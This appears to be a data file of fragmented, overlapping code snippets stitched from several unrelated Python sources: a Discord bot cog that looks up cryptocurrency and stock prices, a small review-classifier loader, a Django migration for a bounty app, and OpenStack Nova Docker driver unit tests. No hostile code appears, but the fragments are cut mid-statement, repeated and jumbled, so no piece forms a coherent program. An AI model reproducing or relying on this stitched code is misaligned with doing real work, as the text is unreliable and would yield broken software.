"find a stonk named `{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async",
"\"{} {} : {} {} (${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(),",
"result: like = \"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid FROM coins",
"\"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\",",
"DOWNWARDS TREND}\" outstr += \" :: After Hours: {:.2f} -",
"name: str): \"\"\"Look up a stock and show its current",
"not result: like = \"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid FROM",
"def stock (self, ctx, name: str): \"\"\"Look up a stock",
"line) if qtycheck: coinqty = float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr",
"async def newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor()",
"data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH UPWARDS TREND}\" if data['regularMarketChange'] >",
"{} {} (${} USD) | 1-hour change: {}% | 24-hour",
"if result: return result[0] @commands.command(hidden=True) @commands.is_owner() async def newcoins(self, ctx):",
"coin, data): if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else:",
"bot @commands.command() async def coin(self, ctx, *, line: str): \"\"\"Look",
"cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT, 'coinid' TEXT UNIQUE ON CONFLICT",
"name LIKE (?)\", [like]).fetchone() if result: return result[0] @commands.command(hidden=True) @commands.is_owner()",
"resp: data = await resp.json() for coin in data: sym",
"@commands.is_owner() async def newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor =",
"self.findcoin(cvtto) else: coin = line coinid = await self.findcoin(coin) if",
"longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in data",
"= await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval",
"cvtto = line.split(\" to \") coinid = await self.findcoin(coin) if",
"| 24-hour change: {}%\".format(cid, name, pUSD, pC1, pC24) else: finalprice",
"change: {:.2f} ({:.2f}%) {}\" longn = ' ({})'.format(data['shortName']) if 'shortName'",
"line: coin, cvtto = line.split(\" to \") coinid = await",
"= data['name'] pUSD = data['price_usd'] pC24 = data['percent_change_24h'] pC1 =",
"as resp: data = await resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if",
"downup) if 'postMarketPrice' in data and (data['marketState'] == \"CLOSED\" or",
"url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as resp: data =",
"url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as resp: data =",
"if coin['qty'] == 1: output = \"{} {} | Value:",
"cursor = conn.cursor() result = cursor.execute(\"SELECT name FROM sqlite_master WHERE",
"= data['symbol'].upper() name = data['name'] pUSD = data['price_usd'] pC24 =",
"self.convert_coin(coin, data) if not cvtval: await ctx.send(f\"Failed to look up",
"change, etc\"\"\" symbol = \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with",
"import quote as uriquote import html CURR = [\"AUD\", \"BRL\",",
"\"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\",",
"coinid, 'qty': coinqty, 'currency': curr, 'cvtto': cvtto} async def findcoin(self,",
"\"TWD\", \"ZAR\"] class Finance(commands.Cog): def __init__(self, bot): self.bot = bot",
"output = \"\" if coin.get('cvtto', ''): cvtval = await self.convert_coin(coin,",
"* coin['qty']) / toval) return cvtval def ffstr(self, number): return",
"float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) * coin['qty']) / toval) return cvtval",
"line or \" to \" in line: if \" in",
"etc\"\"\" symbol = \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url)",
"> 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr += \"",
"finalprice = float(pUSD) * coin['qty'] output = \"{} {} :",
"24-hour change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24) else:",
"{} {} (${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal) else: if",
"from urllib.parse import quote as uriquote import html CURR =",
"= \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as resp: data = await",
"coinqty = 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty",
"not symbol: await ctx.send(f\"Unable to find a stonk named `{name}`\")",
"else: finalprice = float(pUSD) * coin['qty'] output = \"{} {}",
"await self.convert_coin(coin, data) if not cvtval: await ctx.send(f\"Failed to look",
"return {'coin': coinid, 'qty': coinqty, 'currency': curr, 'cvtto': cvtto} async",
"curr = \"\" cvtto = \"\" if \" in \"",
"await resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if not symbol: await ctx.send(f\"Unable",
"qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty = float(qtycheck.group(1)) line",
"cursor.execute(\"SELECT coinid FROM coins WHERE name LIKE (?)\", [like]).fetchone() if",
"| 1-hour change: {}% | 24-hour change: {}%\".format(cid, name, cvtval,",
"coin['qty'] output = \"{} {} : ${:.2f}\".format(coin['qty'], cid, finalprice) if",
"data else '' outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']),",
"line: str): \"\"\"Look up a cryptocurrency such as Bitcoin Optionally",
"\"IDR\", \"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\",",
"output = \"{} {} : {} {} (${:.2f} USD)\".format(coin['qty'], cid,",
"output: await ctx.send(output) async def convert_coin(self, coin, data): if coin['currency']:",
"ctx.send(output) async def convert_coin(self, coin, data): if coin['currency']: cvtval =",
"else: coin = line coinid = await self.findcoin(coin) if not",
"data['percent_change_24h'] pC1 = data['percent_change_1h'] output = \"\" if coin.get('cvtto', ''):",
"in data and (data['marketState'] == \"CLOSED\" or \"POST\" in data['marketState']):",
"@commands.command(hidden=True) @commands.is_owner() async def newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor",
"Bitcoin Optionally specify a quantity such as `0.6 ETH` Optionally",
"line = qtycheck.group(3).strip() curr = \"\" cvtto = \"\" if",
"Optionally specify a conversion value such as `2 BTC in",
"* coin['qty']) else: if not coin['cvtto']: cvtval = '' if",
"@commands.command() async def coin(self, ctx, *, line: str): \"\"\"Look up",
"coinid FROM coins WHERE coinid = (?) OR symbol =",
"\"\\N{CHART WITH DOWNWARDS TREND}\" outstr = \"{}{}: {} {} ::",
"def newcoins(self, ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result",
":: Today's change: {:.2f} ({:.2f}%) {}\" longn = ' ({})'.format(data['shortName'])",
"{} | Value: {} {} (${} USD) | 1-hour change:",
"if not symbol: await ctx.send(f\"Unable to find a stonk named",
"= data[\"quoteResponse\"][\"result\"][0] downup = \"\\N{CHART WITH UPWARDS TREND}\" if data['regularMarketChange']",
"(coin, coin)).fetchone() if not result: like = \"%{}%\".format(coin) result =",
"with self.bot.session.get(url) as resp: data = await resp.json() symbol =",
"{} | Value: ${} | 1-hour change: {}% | 24-hour",
"${:.2f}\".format(coin['qty'], cid, finalprice) if output: await ctx.send(output) async def convert_coin(self,",
"CURR: curr = \"?convert={}\".format(cvtto) else: cvtto = await self.findcoin(cvtto) else:",
"class Finance(commands.Cog): def __init__(self, bot): self.bot = bot @commands.command() async",
"__init__(self, bot): self.bot = bot @commands.command() async def coin(self, ctx,",
"resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD)",
"\"BTC\" else: pUSD = data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with",
"\"ILS\", \"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\",",
"if \" in \" in line or \" to \"",
"result: return result[0] @commands.command(hidden=True) @commands.is_owner() async def newcoins(self, ctx): conn",
"= \"{} {} | Value: {} {} (${} USD) |",
"gives us BTC by default cvtval = self.ffstr(float(data['price_btc']) * coin['qty'])",
"find coin {line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url)",
"await ctx.send(f\"Failed to look up {coin['cvtto']}\") return if coin['qty'] ==",
"if cvtto.upper() in CURR: curr = \"?convert={}\".format(cvtto) else: cvtto =",
"WHERE name LIKE (?)\", [like]).fetchone() if result: return result[0] @commands.command(hidden=True)"
] |
[
"= featureMatrixFromReviews() Y = getYVector() def getDataForClassifier() : return featureMatrix,",
"from SG_GetFeatureMatrix import * from SG_VectorY import * featureMatrix =",
"import * from SG_VectorY import * featureMatrix = featureMatrixFromReviews() Y",
"featureMatrix = featureMatrixFromReviews() Y = getYVector() def getDataForClassifier() : return",
"from SG_VectorY import * featureMatrix = featureMatrixFromReviews() Y = getYVector()",
"<reponame>shubha1593/MovieReviewAnalysis<filename>SG_GetDataForClassifier.py<gh_stars>1-10 from SG_GetFeatureMatrix import * from SG_VectorY import * featureMatrix",
"import * featureMatrix = featureMatrixFromReviews() Y = getYVector() def getDataForClassifier()",
"* featureMatrix = featureMatrixFromReviews() Y = getYVector() def getDataForClassifier() :",
"* from SG_VectorY import * featureMatrix = featureMatrixFromReviews() Y =",
"featureMatrixFromReviews() Y = getYVector() def getDataForClassifier() : return featureMatrix, Y",
"SG_VectorY import * featureMatrix = featureMatrixFromReviews() Y = getYVector() def",
"SG_GetFeatureMatrix import * from SG_VectorY import * featureMatrix = featureMatrixFromReviews()"
] |
[
"('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()), ('city',",
"('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True,",
"upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,",
"] operations = [ migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True,",
"django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL),",
"models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='bounties.hunter')), ],",
"fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image',",
"= True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [",
"name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)),",
"('image', models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ],",
"by Django 3.1.4 on 2021-01-17 19:12 from django.conf import settings",
"upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty',",
"Generated by Django 3.1.4 on 2021-01-17 19:12 from django.conf import",
"('image', models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter',",
"models.FloatField()), ('total', models.FloatField()), ], ), migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True,",
"operations = [ migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False,",
"models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True,",
"to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False,",
"), migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name',",
"], ), migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),",
"migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25,",
"verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()),",
"models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,",
"], ), migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),",
"import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [",
"import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True",
"migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25,",
"primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total', models.FloatField()),",
"fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image',",
"verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True,",
"models.FloatField()), ], ), migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False,",
"('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='bounties.hunter')),",
"<gh_stars>1-10 # Generated by Django 3.1.4 on 2021-01-17 19:12 from",
"models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty', fields=[ ('id',",
"import settings from django.db import migrations, models import django.db.models.deletion class",
"models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies =",
"django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial =",
"on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True,",
"null=True, upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True,",
"= [ migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),",
"initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations =",
"('total', models.FloatField()), ], ), migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True,",
"models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total',",
"# Generated by Django 3.1.4 on 2021-01-17 19:12 from django.conf",
"from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial",
"models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ),",
"3.1.4 on 2021-01-17 19:12 from django.conf import settings from django.db",
"class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ]",
"('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='bounties.hunter')), ], ),",
"True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel(",
"models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True,",
"models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True,",
"[ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Organization', fields=[ ('id',",
"models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total', models.FloatField()), ], ), migrations.CreateModel( name='Hunter',",
"migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies",
"Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations",
"models.CharField(max_length=25, null=True)), ('hunter', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='bounties.hunter')), ], ), ]",
"migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True,",
"('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True,",
"null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25, null=True)),",
"Django 3.1.4 on 2021-01-17 19:12 from django.conf import settings from",
"serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total', models.FloatField()), ],",
"serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('user',",
"('balance', models.FloatField()), ('total', models.FloatField()), ], ), migrations.CreateModel( name='Hunter', fields=[ ('id',",
"('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True,",
"('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total', models.FloatField()), ], ), migrations.CreateModel(",
"fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance',",
"dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Organization',",
"models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('price', models.FloatField()), ('city', models.CharField(max_length=25,",
"migrations.CreateModel( name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50,",
"null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel(",
"('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()),",
"), migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name',",
"19:12 from django.conf import settings from django.db import migrations, models",
"on 2021-01-17 19:12 from django.conf import settings from django.db import",
"serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('price',",
"name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)),",
"name='Hunter', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)),",
"null=True)), ('balance', models.FloatField()), ('total', models.FloatField()), ], ), migrations.CreateModel( name='Hunter', fields=[",
"('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty', fields=[",
"primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')),",
"null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Bounty', fields=[ ('id', models.AutoField(auto_created=True,",
"from django.conf import settings from django.db import migrations, models import",
"2021-01-17 19:12 from django.conf import settings from django.db import migrations,",
"null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')), ('user', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),",
"= [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Organization', fields=[",
"verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('balance', models.FloatField()), ('total', models.FloatField()), ], ),",
"[ migrations.CreateModel( name='Organization', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name',",
"settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration):",
"django.conf import settings from django.db import migrations, models import django.db.models.deletion",
"primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, null=True)), ('image', models.ImageField(blank=True, null=True, upload_to='')),"
] |
[
"from nova.openstack.common import jsonutils from nova.openstack.common import units from nova",
"'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None):",
"= utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance",
"governing permissions and limitations # under the License. import contextlib",
"test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only because _get_running_instance on",
"'total': 50 * units.Gi, 'available': 25 * units.Gi, 'used': 25",
"instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None): instance_href = utils.get_test_instance() if image_info",
"on the # base class will not let us set",
"limitations # under the License. import contextlib import socket import",
"image_info=None): flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2",
"units.Mi, 'free': 3 * units.Mi, 'used': 1 * units.Mi }",
"mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as ( get_memory_usage, get_disk_usage ): #",
"utils.get_test_instance() if image_info is None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format']",
"raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None): instance_href",
"= self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares'])",
"utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container,",
"socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory",
"tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (c) 2013 dotCloud, Inc.",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"specific language governing permissions and limitations # under the License.",
"# not use this file except in compliance with the",
"def test_plug_vifs(self): # Check to make sure the method raises",
"our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus': 1, 'vcpus_used':",
"get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus': 1, 'vcpus_used': 0, 'memory_mb':",
"'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000,",
"utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance =",
"class will not let us set a custom disk/container_format. def",
"* units.Mi, 'used': 1 * units.Mi } disk = {",
"instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4):",
"in compliance with the License. You may obtain # a",
"'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only because",
"'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self):",
"image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock,",
"import exception from nova.openstack.common import jsonutils from nova.openstack.common import units",
"'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info': '?',",
"You may obtain # a copy of the License at",
"= 'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network')",
"= 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password')",
"get_disk_usage ): # run the code stats = self.connection.get_available_resource(nodename='test') #",
"@mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock): instance =",
"'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context, instance,",
"from nova import exception from nova.openstack.common import jsonutils from nova.openstack.common",
"container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href",
"# make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus':",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 *",
"under the License is distributed on an \"AS IS\" BASIS,",
"the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self,",
"socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory =",
"fake_get_registry_port) # Note: using mock.object.path on class throws # errors",
"* units.Gi, 'available': 25 * units.Gi, 'used': 25 * units.Gi",
"from nova import context from nova import exception from nova.openstack.common",
"'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href)",
"Reserved. # # Licensed under the Apache License, Version 2.0",
"self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def",
"import _VirtDriverTestCase from nova.virt.docker import hostinfo from nova.virt.docker import network",
"def test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2',",
"vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (c) 2013 dotCloud,",
"'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used': 25L,",
"this file except in compliance with the License. You may",
"test_plug_vifs(self): # Check to make sure the method raises NotImplementedError.",
"driver_module = 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient())",
"test from nova.tests import utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import",
"self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note: using mock.object.path on class throws",
"the # base class will not let us set a",
"1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info = utils.get_test_image_info(None,",
"_get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] =",
